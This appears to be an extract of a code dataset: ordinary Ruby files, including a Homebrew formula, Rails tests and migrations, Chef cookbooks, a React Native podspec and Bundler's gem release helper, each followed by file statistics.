sha256 "ecccaccd592e7f937d93e0baf6c839d022bfd0142fb4c1ba1fb737bc5320cb8d" => :arm64_big_sur
sha256 "b08d0e0bde83d0dd8bffdbb68e93c0a56675460ac5c7d89c0f734c8e9ef75cca" => :catalina
sha256 "068793d374ba393662864da1a542a1bf036508bbd02ee9ac17249694ec93f5d2" => :mojave
end
depends_on "pkg-config" => :build
depends_on "faad2"
depends_on "ffmpeg"
depends_on "flac"
depends_on "libcue"
depends_on "libogg"
depends_on "libvorbis"
depends_on "mad"
depends_on "mp4v2"
depends_on "opusfile"
def install
system "./configure", "prefix=#{prefix}", "mandir=#{man}",
"CONFIG_WAVPACK=n", "CONFIG_MPC=n"
system "make", "install"
end
test do
system "#{bin}/cmus", "--plugins"
end
end
| 31.594595 | 95 | 0.733105 |
62f7953e1a185f4f4488fed1e559fa1d93b552d4 | 907 | # frozen_string_literal: true
# Copyright 2016-2019 New Context, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require "support/kitchen/terraform/config_attribute_type/integer_examples"
::RSpec.shared_examples "Kitchen::Terraform::ConfigAttribute::LockTimeout" do
include_context(
"Kitchen::Terraform::ConfigAttributeType::Integer",
attribute: :lock_timeout,
default_value: 0,
)
end
| 34.884615 | 77 | 0.768467 |
5da398fc9795b03d86e31ded84162727cd4b4281 | 225 | class CreateImports < ActiveRecord::Migration
def change
create_table :imports do |t|
t.belongs_to :referential
t.string :status
t.timestamps
end
add_index :imports, :referential_id
end
end
| 18.75 | 45 | 0.688889 |
ac52bd523b2382735b5fed823ff16beb065e1d0c | 186 | class RemoveRolesFromAccountUsers < ActiveRecord::Migration
def up
remove_column :account_users, :roles
end
def down
add_column :account_users, :roles, :integer
end
end
| 18.6 | 59 | 0.752688 |
7aa9803432923b1c9fbee49875391b43ca36e643 | 10,762 | # encoding: utf-8
#
# = Integration Session Test Helpers
#
# Methods in this class are available to all the integration tests.
#
# ==== Debugging
# dump_links:: Show list of all the links on the last page rendered.
# save_page:: Save response from last request in a file.
# get:: Call get_via_redirect with extra error checking.
# post:: Call post_via_redirect with extra error checking.
# get_without_redirecting:: Call the original 'get'.
# post_without_redirecting:: Call the original 'post'.
#
# ==== Helpers
# parse_query_params:: Get (our) query params from the given URL.
# get_links:: Get an Array of URLs for a set of links.
# login:: Log in a given user.
# logout:: Log out the current user.
#
# ==== Navigation
# push_page:: Save response from last query so we can go back to it.
# go_back:: Go back a number of times.
# click:: Click on first link that matches the given args.
#
# ==== Forms
# open_form:: Encapsulate filling out and posting a given form.
#
################################################################################
module SessionExtensions
##############################################################################
#
# :section: Debugging
#
##############################################################################
# Dump out a list of all the links on the last page rendered.
def dump_links
assert_select('a[href]') do |links|
for link in links
puts "link: #{link.attributes['href']}"
end
end
end
# Save response from last request so you can look at it in a browser.
def save_page(file=nil)
file ||= "#{RAILS_ROOT}/public/test.html"
File.open(file, 'w') do |fh|
fh.write(response.body)
end
end
# Call get/post_via_redirect, checking for 500 errors and missing language
# tags. Saves body of all successful responses for debugging, too.
def process_with_error_checking(method, url, *args)
@doing_with_error_checking = true
Symbol.missing_tags = []
send("#{method}_via_redirect", url, *args)
if status == 500
if error = controller.instance_variable_get('@error')
msg = "#{error}\n#{error.backtrace.join("\n")}"
else
msg = "Got unknown 500 error from outside our application?!\n" +
"This usually means that a file failed to parse.\n"
end
assert_block(msg) { false }
end
assert_equal([], Symbol.missing_tags, "Language tag(s) are missing. #{url}: #{method}")
save_page
ensure
@doing_with_error_checking = false
end
# Override all 'get' calls and do a bunch of extra error checking.
def get(*args)
if !@doing_with_error_checking
process_with_error_checking('get', *args)
else
super
end
end
# Override all 'post' calls and do a bunch of extra error checking.
def post(*args)
if !@doing_with_error_checking
process_with_error_checking('post', *args)
else
super
end
end
# Call the original +get+.
def get_without_redirecting(*args)
@doing_with_error_checking = true
get(*args)
ensure
@doing_with_error_checking = false
end
# Call the original +post+.
def post_without_redirecting(*args)
@doing_with_error_checking = true
post(*args)
ensure
@doing_with_error_checking = false
end
##############################################################################
#
# :section: Random Helpers
#
##############################################################################
# Get string representing (our) query from the given URL. Defaults to the
# current page's URL. (In practice, for now, this is just the Query id.)
def parse_query_params(url=path)
path, query = url.split('?')
params = CGI.parse(query)
params['q']
end
# Get an Array of URLs for the given links.
#
# # This gets all the name links in the results of the last page.
# urls = get_links('div.results a[href^=/name/show_name]')
#
def get_links(*args)
clean_our_backtrace('get_links') do
results = []
assert_select(*args) do |links|
results = links.map {|l| l.attributes['href']}
end
return results
end
end
# Login the given user, do no testing, doesn't re-get login form if already
# served.
def login(login, password='testpassword', remember_me=true)
login = login.login if login.is_a?(User)
get('/account/login') if path != '/account/login'
open_form do |form|
form.change('login', login)
form.change('password', password)
form.change('remember_me', remember_me)
form.submit('Login')
end
end
# Login the given user, testing to make sure it was successful.
def login!(user, *args)
login(user, *args)
assert_flash(/success/i)
user = User.find_by_login(user) if user.is_a?(String)
assert_users_equal(user, assigns(:user), "Wrong user ended up logged in!")
end
# Logout the current user and make sure it was successful.
def logout
click(:label => 'Logout')
assert_flash(/success/i)
end
################################################################################
#
# :section: Form Helpers
#
################################################################################
def assert_form_has_correct_values(expected_values)
clean_our_backtrace do
open_form do |form|
for key, value in expected_values
form.assert_value(key, value)
end
end
end
end
def submit_form_with_changes(changes)
clean_our_backtrace('submit_form_with_changes') do
open_form do |form|
for key, value in changes
form.change(key, value)
end
form.submit
end
end
end
# Look up a given form, initialize a Hash of parameters for it, and wrap up
# the whole thing in a Form instance. Returns (and yields) an instance of
# IntegrationSession::Form. (If no parameters passed, by default it looks
# for a form that posts back to the same page.)
def open_form(*args)
form = nil
clean_our_backtrace('open_form') do
if args == []
action = path.sub(/\?.*/, '')
args << "form[action*=#{action}]"
end
assert_select(*args) do |elems|
assert_equal(1, elems.length,
"Found multiple forms matching #{args.inspect}.")
elem = elems.first
assert_equal('form', elem.name,
"Expected #{args.inspect} to find a form!")
form = Form.new(self, elem)
yield(form) if block_given?
end
end
return form
end
##############################################################################
#
# :section: Navigation
#
##############################################################################
# Save response from last query on the page stack.
def push_page(name='')
@page_stack ||= []
@page_stack.push({
:name => name,
:body => response.body,
})
end
# Go back one or more times and restore a previous query result. If called
# with no argument, it just restores the previous page and doesn't affect the
# stack. If called with 2, it pops one page off the stack then restores the
# page before that. And so on.
def go_back(arg=1)
if arg.is_a?(Fixnum)
while arg > 1
@page_stack.pop
arg -= 1
end
else
while @page_stack.any? and (@page_stack.last[:name] != arg)
@page_stack.pop
end
if @page_stack.empty?
raise("Missing page called #{name.inspect}!")
end
end
response.body = @page_stack.last[:body]
@html_document = HTML::Document.new(response.body)
save_page
end
# Click on the first link matching the given args. Args can be:
# label:: Label contains a String or matches a Regexp.
# href:: URL starts with a String or matches a Regexp.
# in:: Link contained in a given element type(s).
def click(args={})
clean_our_backtrace('click') do
select = 'a[href]'
sargs = []
# Filter links based on URL.
if arg = args[:href]
if arg.is_a?(Regexp)
if arg.to_s.match(/^..-mix:\^/)
select = "a[href^=?]"
else
select = "a[href*=?]"
end
sargs << arg
else
select = "a[href^=#{arg}]"
end
end
# Filter links by parent element types.
if arg = args[:in]
if arg == :tabs
arg = 'div#left_tabs'
elsif arg == :left_panel
arg = 'table.LeftSide'
elsif arg == :results
arg = 'div.results'
end
select = "#{arg} #{select}"
end
done = false
assert_select(select, *sargs) do |links|
for link in links
match = true
# Filter based on link "label" (can be an image too, for example).
if arg = args[:label]
if arg == :image
match = false if !link.to_s.match(/<img /)
elsif arg.is_a?(Regexp)
match = false if !link.to_s.match(arg)
else
match = false if !link.to_s.index(arg)
end
end
# Click on first link that matches everything.
if match
url = CGI.unescapeHTML(link.attributes['href'])
get(url)
done = true
break
end
end
end
assert_block("Expected a link matching: #{args.inspect}") { done }
end
end
################################################################################
#
# :section: assert_select Wrappers
#
################################################################################
def assert_link_exists(url)
assert_link_exists_general_case(url, '')
end
def assert_no_link_exists(url)
assert_no_link_exists_general_case(url, '')
end
def assert_link_exists_containing(url)
assert_link_exists_general_case(url, '*')
end
def assert_no_link_exists_containing(url)
assert_no_link_exists_general_case(url, '*')
end
def assert_link_exists_beginning_with(url)
assert_link_exists_general_case(url, '^')
end
def assert_no_link_exists_beginning_with(url)
assert_no_link_exists_general_case(url, '^')
end
def assert_link_exists_general_case(url, mod)
clean_our_backtrace do
assert_select("a[href#{mod}=#{url}]", { :minimum => 1 }, "Expected to find link to #{url}")
end
end
def assert_no_link_exists_general_case(url, mod)
clean_our_backtrace do
assert_select("a[href#{mod}=#{url}]", { :count => 0 }, "Shouldn't be any links to #{url}")
end
end
end
| 29.647383 | 97 | 0.570712 |
6267cbdf2be806a6513ea06e1eea9a87b0e94c57 | 2,251 | require 'test_helper'
class UsersControllerTest < ActionDispatch::IntegrationTest
def setup
@user = users(:michael)
@other_user = users(:archer)
end
test "should redirect index when not logged in" do
get users_path
assert_redirected_to login_url
end
test "should get new" do
get signup_path
assert_response :success
end
test "should redirect edit when not logged in" do
get edit_user_path(@user)
assert_not flash.empty?
assert_redirected_to login_url
end
test "should redirect update when not logged in" do
patch user_path(@user), params: { user: { name: @user.name,
email: @user.email } }
assert_not flash.empty?
assert_redirected_to login_url
end
test "should redirect edit when logged in as wrong user" do
log_in_as(@other_user)
get edit_user_path(@user)
assert flash.empty?
assert_redirected_to root_url
end
test "should redirect update when logged in as wrong user" do
log_in_as(@other_user)
patch user_path(@user), params: { user: { name: @user.name,
email: @user.email } }
assert flash.empty?
assert_redirected_to root_url
end
test "should not allow the admin attribute to be edited via the web" do
log_in_as(@other_user)
assert_not @other_user.admin?
patch user_path(@other_user), params: {
user: { password: @other_user.password,
password_confirmation: @other_user.password,
admin: true } }
assert_not @other_user.reload.admin?
end
test "should redirect destroy when not logged in" do
assert_no_difference 'User.count' do
delete user_path(@user)
end
assert_redirected_to login_url
end
test "should redirect destroy when logged in as a non-admin" do
log_in_as(@other_user)
assert_no_difference 'User.count' do
delete user_path(@user)
end
assert_redirected_to root_url
end
test "should redirect following when not logged in" do
get following_user_path(@user)
assert_redirected_to login_url
end
end
| 28.858974 | 88 | 0.644158 |
ac9ebd3b5b170109efdb53bc972a32c4b24a1388 | 945 | #
# Cookbook Name:: cron
# Recipe:: default
#
# Copyright 2010-2013, Opscode, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
package 'cron' do
package_name case node['platform_family']
when 'rhel', 'fedora'
node['platform_version'].to_f >= 6.0 ? 'cronie' : 'vixie-cron'
end
end
service 'cron' do
service_name 'crond' if platform_family?('rhel', 'fedora')
action [:enable, :start]
end
| 30.483871 | 79 | 0.696296 |
91c19d9c25d078bb0f9e78ce8d4450129ec62249 | 865 | require 'pagy/extras/searchkick'
module MockSearchkick
RESULTS = { 'a' => ('a-1'..'a-1000').to_a,
'b' => ('b-1'..'b-1000').to_a }
class Results
attr_reader :options
def initialize(query, options={}, &block)
@entries = RESULTS[query]
@options = {page: 1, per_page: 10_000}.merge(options)
from = @options[:per_page] * (@options[:page] - 1)
results = @entries[from, @options[:per_page]]
addition = yield if block
@results = results && results.map{|r| "#{addition}#{r}"}
end
def results
@results.map{|r| "R-#{r}"}
end
alias_method :records, :results # enables loops in items_test
def total_count
@entries.size
end
end
class Model
def self.search(*args, &block)
Results.new(*args, &block)
end
extend Pagy::Searchkick
end
end
| 20.116279 | 70 | 0.581503 |
1ca14b5c0a5be6772f3dbe8e478f02b6d6f79c5e | 958 | #
# Cookbook Name:: npm
#
# Author:: Sergey Balbeko <[email protected]>
#
# Copyright 2012, Sergey Balbeko
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
maintainer "Sergey Balbeko"
maintainer_email "[email protected]"
license "Apache License, Version 2.0"
description "Installs/Configures npm"
long_description IO.read(File.join(File.dirname(__FILE__), 'README.md'))
version "0.1.2"
name "npm"
depends "nodejs"
| 31.933333 | 74 | 0.72547 |
1df93d1118b958cd9b347d8fb376113de8d7f625 | 1,616 | # frozen_string_literal: true
module QA
module Page
module Project
module SubMenus
module Issues
extend QA::Page::PageConcern
def self.included(base)
super
base.class_eval do
include QA::Page::Project::SubMenus::Common
end
end
def click_issues
within_sidebar do
click_element(:sidebar_menu_link, menu_item: 'Issues')
end
end
def click_milestones
within_sidebar do
click_element(:sidebar_menu_item_link, menu_item: 'Milestones')
end
end
def go_to_boards
hover_issues do
within_submenu do
click_element(:sidebar_menu_item_link, menu_item: 'Boards')
end
end
end
def go_to_labels
hover_issues do
within_submenu do
click_element(:sidebar_menu_item_link, menu_item: 'Labels')
end
end
end
def go_to_milestones
hover_issues do
within_submenu do
click_element(:sidebar_menu_item_link, menu_item: 'Milestones')
end
end
end
private
def hover_issues
within_sidebar do
scroll_to_element(:sidebar_menu_link, menu_item: 'Issues')
find_element(:sidebar_menu_link, menu_item: 'Issues').hover
yield
end
end
end
end
end
end
end
| 23.42029 | 79 | 0.522277 |
26e2483ccb469f77da3171dded4440754e5968e2 | 418 | # frozen_string_literal: true
module WebMockHelpers
def stub_custom_request(url:, body:, method: :get, status: 200)
stub_request(method, url).to_return(body: body, status: status)
end
end
RSpec.configure do |config|
config.include WebMockHelpers, type: :job
config.include WebMockHelpers, type: :feature
config.include WebMockHelpers, type: :request
config.include WebMockHelpers, type: :service
end
| 27.866667 | 67 | 0.767943 |
5d7816b08b9562d680897a249ff2f3e689d5a392 | 15,024 | # coding: utf-8
# Copyright (c) Facebook, Inc. and its affiliates.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
require "json"
package = JSON.parse(File.read(File.join(__dir__, "package.json")))
version = package['version']
source = { :git => 'https://github.com/facebook/react-native.git' }
if version == '1000.0.0'
# This is an unpublished version, use the latest commit hash of the react-native repo, which we’re presumably in.
source[:commit] = `git rev-parse HEAD`.strip
else
source[:tag] = "v#{version}"
end
folly_compiler_flags = '-DFOLLY_NO_CONFIG -DFOLLY_MOBILE=1 -DFOLLY_USE_LIBCPP=1'
folly_version = '2018.10.22.00'
Pod::Spec.new do |s|
s.name = "React"
s.version = version
s.summary = package["description"]
s.description = <<-DESC
React Native apps are built using the React JS
framework, and render directly to native UIKit
elements using a fully asynchronous architecture.
There is no browser and no HTML. We have picked what
we think is the best set of features from these and
other technologies to build what we hope to become
the best product development framework available,
with an emphasis on iteration speed, developer
delight, continuity of technology, and absolutely
beautiful and fast products with no compromises in
quality or capability.
DESC
s.homepage = "http://facebook.github.io/react-native/"
s.license = package["license"]
s.author = "Facebook"
s.source = source
s.default_subspec = "Core"
s.requires_arc = true
s.platforms = { :ios => "9.0", :tvos => "9.2" }
s.pod_target_xcconfig = { "CLANG_CXX_LANGUAGE_STANDARD" => "c++14" }
s.preserve_paths = "package.json", "LICENSE", "LICENSE-docs"
s.cocoapods_version = ">= 1.2.0"
s.subspec "Core" do |ss|
ss.dependency "yoga", "#{package["version"]}.React"
ss.source_files = "React/**/*.{c,h,m,mm,S,cpp}"
ss.exclude_files = "**/__tests__/*",
"IntegrationTests/*",
"React/DevSupport/*",
"React/Inspector/*",
"ReactCommon/yoga/*",
"React/Cxx*/*",
"React/Fabric/**/*"
ss.ios.exclude_files = "React/**/RCTTV*.*"
ss.tvos.exclude_files = "React/Modules/RCTClipboard*",
"React/Views/RCTDatePicker*",
"React/Views/RCTPicker*",
"React/Views/RCTRefreshControl*",
"React/Views/RCTSlider*",
"React/Views/RCTSwitch*",
"React/Views/RCTWebView*"
ss.compiler_flags = folly_compiler_flags
ss.header_dir = "React"
ss.framework = "JavaScriptCore"
ss.libraries = "stdc++"
ss.pod_target_xcconfig = { "HEADER_SEARCH_PATHS" => "\"$(PODS_TARGET_SRCROOT)/ReactCommon\"" }
end
s.subspec "CxxBridge" do |ss|
ss.dependency "Folly", folly_version
ss.dependency "React/Core"
ss.dependency "React/cxxreact"
ss.dependency "React/jsiexecutor"
ss.compiler_flags = folly_compiler_flags
ss.private_header_files = "React/Cxx*/*.h"
ss.source_files = "React/Cxx*/*.{h,m,mm}"
end
s.subspec "DevSupport" do |ss|
ss.dependency "React/Core"
ss.dependency "React/RCTWebSocket"
ss.source_files = "React/DevSupport/*",
"React/Inspector/*"
end
s.subspec "RCTFabric" do |ss|
ss.dependency "Folly", folly_version
ss.dependency "React/Core"
ss.dependency "React/fabric"
ss.compiler_flags = folly_compiler_flags
ss.source_files = "React/Fabric/**/*.{c,h,m,mm,S,cpp}"
ss.exclude_files = "**/tests/*"
ss.header_dir = "React"
ss.framework = "JavaScriptCore"
ss.pod_target_xcconfig = { "HEADER_SEARCH_PATHS" => "\"$(PODS_TARGET_SRCROOT)/ReactCommon\"" }
end
s.subspec "tvOS" do |ss|
ss.dependency "React/Core"
ss.source_files = "React/**/RCTTV*.{h,m}"
end
s.subspec "jsinspector" do |ss|
ss.source_files = "ReactCommon/jsinspector/*.{cpp,h}"
ss.private_header_files = "ReactCommon/jsinspector/*.h"
ss.pod_target_xcconfig = { "HEADER_SEARCH_PATHS" => "\"$(PODS_TARGET_SRCROOT)/ReactCommon\"" }
end
s.subspec "jsiexecutor" do |ss|
ss.dependency "React/cxxreact"
ss.dependency "React/jsi"
ss.dependency "Folly", folly_version
ss.dependency "DoubleConversion"
ss.dependency "glog"
ss.compiler_flags = folly_compiler_flags
ss.source_files = "ReactCommon/jsiexecutor/jsireact/*.{cpp,h}"
ss.private_header_files = "ReactCommon/jsiexecutor/jsireact/*.h"
ss.header_dir = "jsireact"
ss.pod_target_xcconfig = { "HEADER_SEARCH_PATHS" => "\"$(PODS_TARGET_SRCROOT)/ReactCommon\", \"$(PODS_TARGET_SRCROOT)/ReactCommon/jsiexecutor\"" }
end
s.subspec "jsi" do |ss|
ss.dependency "Folly", folly_version
ss.dependency "DoubleConversion"
ss.dependency "glog"
ss.compiler_flags = folly_compiler_flags
ss.source_files = "ReactCommon/jsi/*.{cpp,h}"
ss.private_header_files = "ReactCommon/jsi/*.h"
ss.framework = "JavaScriptCore"
ss.pod_target_xcconfig = { "HEADER_SEARCH_PATHS" => "\"$(PODS_TARGET_SRCROOT)/ReactCommon\"" }
end
s.subspec "PrivateDatabase" do |ss|
ss.source_files = "ReactCommon/privatedata/*.{cpp,h}"
ss.private_header_files = "ReactCommon/privatedata/*.h"
ss.pod_target_xcconfig = { "HEADER_SEARCH_PATHS" => "\"$(PODS_TARGET_SRCROOT)/ReactCommon\"" }
end
s.subspec "cxxreact" do |ss|
ss.dependency "React/jsinspector"
ss.dependency "boost-for-react-native", "1.63.0"
ss.dependency "Folly", folly_version
ss.dependency "DoubleConversion"
ss.dependency "glog"
ss.compiler_flags = folly_compiler_flags
ss.source_files = "ReactCommon/cxxreact/*.{cpp,h}"
ss.exclude_files = "ReactCommon/cxxreact/SampleCxxModule.*"
ss.private_header_files = "ReactCommon/cxxreact/*.h"
ss.pod_target_xcconfig = { "HEADER_SEARCH_PATHS" => "\"$(PODS_TARGET_SRCROOT)/ReactCommon\" \"$(PODS_ROOT)/boost-for-react-native\" \"$(PODS_ROOT)/DoubleConversion\" \"$(PODS_ROOT)/Folly\"" }
end
s.subspec "fabric" do |ss|
ss.subspec "activityindicator" do |sss|
sss.dependency "Folly", folly_version
sss.compiler_flags = folly_compiler_flags
sss.source_files = "ReactCommon/fabric/activityindicator/**/*.{cpp,h}"
sss.exclude_files = "**/tests/*"
sss.header_dir = "fabric/activityindicator"
sss.pod_target_xcconfig = { "HEADER_SEARCH_PATHS" => "\"$(PODS_TARGET_SRCROOT)/ReactCommon\" \"$(PODS_ROOT)/Folly\"" }
end
ss.subspec "attributedstring" do |sss|
sss.dependency "Folly", folly_version
sss.compiler_flags = folly_compiler_flags
sss.source_files = "ReactCommon/fabric/attributedstring/**/*.{cpp,h}"
sss.exclude_files = "**/tests/*"
sss.header_dir = "fabric/attributedstring"
sss.pod_target_xcconfig = { "HEADER_SEARCH_PATHS" => "\"$(PODS_TARGET_SRCROOT)/ReactCommon\" \"$(PODS_ROOT)/Folly\"" }
end
ss.subspec "core" do |sss|
sss.dependency "Folly", folly_version
sss.compiler_flags = folly_compiler_flags
sss.source_files = "ReactCommon/fabric/core/**/*.{cpp,h}"
sss.exclude_files = "**/tests/*"
sss.header_dir = "fabric/core"
sss.pod_target_xcconfig = { "HEADER_SEARCH_PATHS" => "\"$(PODS_TARGET_SRCROOT)/ReactCommon\" \"$(PODS_ROOT)/Folly\"" }
end
ss.subspec "debug" do |sss|
sss.dependency "Folly", folly_version
sss.compiler_flags = folly_compiler_flags
sss.source_files = "ReactCommon/fabric/debug/**/*.{cpp,h}"
sss.exclude_files = "**/tests/*"
sss.header_dir = "fabric/debug"
sss.pod_target_xcconfig = { "HEADER_SEARCH_PATHS" => "\"$(PODS_TARGET_SRCROOT)/ReactCommon\" \"$(PODS_ROOT)/Folly\"" }
end
ss.subspec "graphics" do |sss|
sss.dependency "Folly", folly_version
sss.compiler_flags = folly_compiler_flags
sss.source_files = "ReactCommon/fabric/graphics/**/*.{cpp,h}"
sss.exclude_files = "**/tests/*"
sss.header_dir = "fabric/graphics"
sss.pod_target_xcconfig = { "HEADER_SEARCH_PATHS" => "\"$(PODS_TARGET_SRCROOT)/ReactCommon\" \"$(PODS_ROOT)/Folly\"" }
end
ss.subspec "scrollview" do |sss|
sss.dependency "Folly", folly_version
sss.compiler_flags = folly_compiler_flags
sss.source_files = "ReactCommon/fabric/scrollview/**/*.{cpp,h}"
sss.exclude_files = "**/tests/*"
sss.header_dir = "fabric/scrollview"
sss.pod_target_xcconfig = { "HEADER_SEARCH_PATHS" => "\"$(PODS_TARGET_SRCROOT)/ReactCommon\" \"$(PODS_ROOT)/Folly\"" }
end
ss.subspec "text" do |sss|
sss.dependency "Folly", folly_version
sss.compiler_flags = folly_compiler_flags
sss.source_files = "ReactCommon/fabric/text/**/*.{cpp,h}"
sss.exclude_files = "**/tests/*"
sss.header_dir = "fabric/text"
sss.pod_target_xcconfig = { "HEADER_SEARCH_PATHS" => "\"$(PODS_TARGET_SRCROOT)/ReactCommon\" \"$(PODS_ROOT)/Folly\"" }
end
ss.subspec "textlayoutmanager" do |sss|
sss.dependency "Folly", folly_version
sss.compiler_flags = folly_compiler_flags
sss.source_files = "ReactCommon/fabric/textlayoutmanager/**/*.{cpp,h,mm}"
sss.exclude_files = "**/tests/*"
sss.header_dir = "fabric/textlayoutmanager"
sss.pod_target_xcconfig = { "HEADER_SEARCH_PATHS" => "\"$(PODS_TARGET_SRCROOT)/ReactCommon\" \"$(PODS_ROOT)/Folly\"" }
end
ss.subspec "uimanager" do |sss|
sss.dependency "Folly", folly_version
sss.compiler_flags = folly_compiler_flags
sss.source_files = "ReactCommon/fabric/uimanager/**/*.{cpp,h}"
sss.exclude_files = "**/tests/*"
sss.header_dir = "fabric/uimanager"
sss.pod_target_xcconfig = { "HEADER_SEARCH_PATHS" => "\"$(PODS_TARGET_SRCROOT)/ReactCommon\" \"$(PODS_ROOT)/Folly\"" }
end
ss.subspec "view" do |sss|
sss.dependency "Folly", folly_version
sss.dependency "yoga"
sss.compiler_flags = folly_compiler_flags
sss.source_files = "ReactCommon/fabric/view/**/*.{cpp,h}"
sss.exclude_files = "**/tests/*"
sss.header_dir = "fabric/view"
sss.pod_target_xcconfig = { "HEADER_SEARCH_PATHS" => "\"$(PODS_TARGET_SRCROOT)/ReactCommon\" \"$(PODS_ROOT)/Folly\"" }
end
end
# Fabric sample target for sample app purpose.
s.subspec "RCTFabricSample" do |ss|
ss.dependency "Folly", folly_version
ss.compiler_flags = folly_compiler_flags
ss.source_files = "ReactCommon/fabric/sample/**/*.{cpp,h}"
ss.exclude_files = "**/tests/*"
ss.header_dir = "fabric/sample"
ss.pod_target_xcconfig = { "HEADER_SEARCH_PATHS" => "\"$(PODS_TARGET_SRCROOT)/ReactCommon\" \"$(PODS_ROOT)/Folly\"" }
end
s.subspec "ART" do |ss|
ss.dependency "React/Core"
ss.source_files = "Libraries/ART/**/*.{h,m}"
end
s.subspec "RCTActionSheet" do |ss|
ss.dependency "React/Core"
ss.source_files = "Libraries/ActionSheetIOS/*.{h,m}"
end
s.subspec "RCTAnimation" do |ss|
ss.dependency "React/Core"
ss.source_files = "Libraries/NativeAnimation/{Drivers/*,Nodes/*,*}.{h,m}"
ss.header_dir = "RCTAnimation"
end
s.subspec "RCTBlob" do |ss|
ss.dependency "React/Core"
ss.source_files = "Libraries/Blob/*.{h,m,mm}"
ss.preserve_paths = "Libraries/Blob/*.js"
end
s.subspec "RCTCameraRoll" do |ss|
ss.dependency "React/Core"
ss.dependency 'React/RCTImage'
ss.source_files = "Libraries/CameraRoll/*.{h,m}"
end
s.subspec "RCTGeolocation" do |ss|
ss.dependency "React/Core"
ss.source_files = "Libraries/Geolocation/*.{h,m}"
end
s.subspec "RCTImage" do |ss|
ss.dependency "React/Core"
ss.dependency "React/RCTNetwork"
ss.source_files = "Libraries/Image/*.{h,m}"
end
s.subspec "RCTNetwork" do |ss|
ss.dependency "React/Core"
ss.source_files = "Libraries/Network/*.{h,m,mm}"
end
s.subspec "RCTPushNotification" do |ss|
ss.dependency "React/Core"
ss.source_files = "Libraries/PushNotificationIOS/*.{h,m}"
end
s.subspec "RCTSettings" do |ss|
ss.dependency "React/Core"
ss.source_files = "Libraries/Settings/*.{h,m}"
end
s.subspec "RCTText" do |ss|
ss.dependency "React/Core"
ss.source_files = "Libraries/Text/**/*.{h,m}"
end
s.subspec "RCTVibration" do |ss|
ss.dependency "React/Core"
ss.source_files = "Libraries/Vibration/*.{h,m}"
end
s.subspec "RCTWebSocket" do |ss|
ss.dependency "React/Core"
ss.dependency "React/RCTBlob"
ss.source_files = "Libraries/WebSocket/*.{h,m}"
end
s.subspec "RCTLinkingIOS" do |ss|
ss.dependency "React/Core"
ss.source_files = "Libraries/LinkingIOS/*.{h,m}"
end
s.subspec "RCTTest" do |ss|
ss.dependency "React/Core"
ss.source_files = "Libraries/RCTTest/**/*.{h,m}"
ss.frameworks = "XCTest"
end
s.subspec "_ignore_me_subspec_for_linting_" do |ss|
ss.dependency "React/Core"
ss.dependency "React/CxxBridge"
end
end
| 43.172414 | 196 | 0.575013 |
9128076d2fa86a44c1769637eafb31acb9be600c | 213 | class AddHideReviewLogoToBusinessUnitTypes < ActiveRecord::Migration[6.0]
def change
change_table :business_unit_types do |t|
t.boolean :hide_review_logo, null: false, default: false
end
end
end
| 26.625 | 73 | 0.755869 |
184967a6c9f65f6ed37bb0bdbfa93959baf7304c | 4,084 | $:.unshift File.expand_path('../vendor', __FILE__)
require 'thor'
require 'bundler'
module Bundler
class GemHelper
def self.install_tasks(opts = nil)
dir = File.dirname(Rake.application.rakefile_location)
self.new(dir, opts && opts[:name]).install
end
attr_reader :spec_path, :base, :gemspec
def initialize(base, name = nil)
Bundler.ui = UI::Shell.new(Thor::Shell::Color.new)
@base = base
gemspecs = name ? [File.join(base, "#{name}.gemspec")] : Dir[File.join(base, "*.gemspec")]
raise "Unable to determine name from existing gemspec. Use :name => 'gemname' in #install_tasks to manually set it." unless gemspecs.size == 1
@spec_path = gemspecs.first
@gemspec = Bundler.load_gemspec(@spec_path)
end
def install
desc "Build #{name}-#{version}.gem into the pkg directory"
task 'build' do
build_gem
end
desc "Build and install #{name}-#{version}.gem into system gems"
task 'install' do
install_gem
end
desc "Create tag #{version_tag} and build and push #{name}-#{version}.gem to Rubygems"
task 'release' do
release_gem
end
end
def build_gem
file_name = nil
sh("gem build #{spec_path}") { |out, code|
raise out unless out[/Successfully/]
file_name = File.basename(built_gem_path)
FileUtils.mkdir_p(File.join(base, 'pkg'))
FileUtils.mv(built_gem_path, 'pkg')
Bundler.ui.confirm "#{name} #{version} built to pkg/#{file_name}"
}
File.join(base, 'pkg', file_name)
end
def install_gem
built_gem_path = build_gem
out, code = sh_with_code("gem install #{built_gem_path}")
raise "Couldn't install gem, run `gem install #{built_gem_path}' for more detailed output" unless out[/Successfully installed/]
Bundler.ui.confirm "#{name} (#{version}) installed"
end
def release_gem
guard_clean
guard_already_tagged
built_gem_path = build_gem
tag_version {
git_push
rubygem_push(built_gem_path)
}
end
protected
def rubygem_push(path)
out, status = sh("gem push #{path}")
raise "Gem push failed due to lack of RubyGems.org credentials." if out[/Enter your RubyGems.org credentials/]
Bundler.ui.confirm "Pushed #{name} #{version} to rubygems.org"
end
def built_gem_path
Dir[File.join(base, "#{name}-*.gem")].sort_by{|f| File.mtime(f)}.last
end
def git_push
perform_git_push
perform_git_push ' --tags'
Bundler.ui.confirm "Pushed git commits and tags"
end
def perform_git_push(options = '')
cmd = "git push #{options}"
out, code = sh_with_code(cmd)
raise "Couldn't git push. `#{cmd}' failed with the following output:\n\n#{out}\n" unless code == 0
end
def guard_already_tagged
if sh('git tag').split(/\n/).include?(version_tag)
raise("This tag has already been committed to the repo.")
end
end
def guard_clean
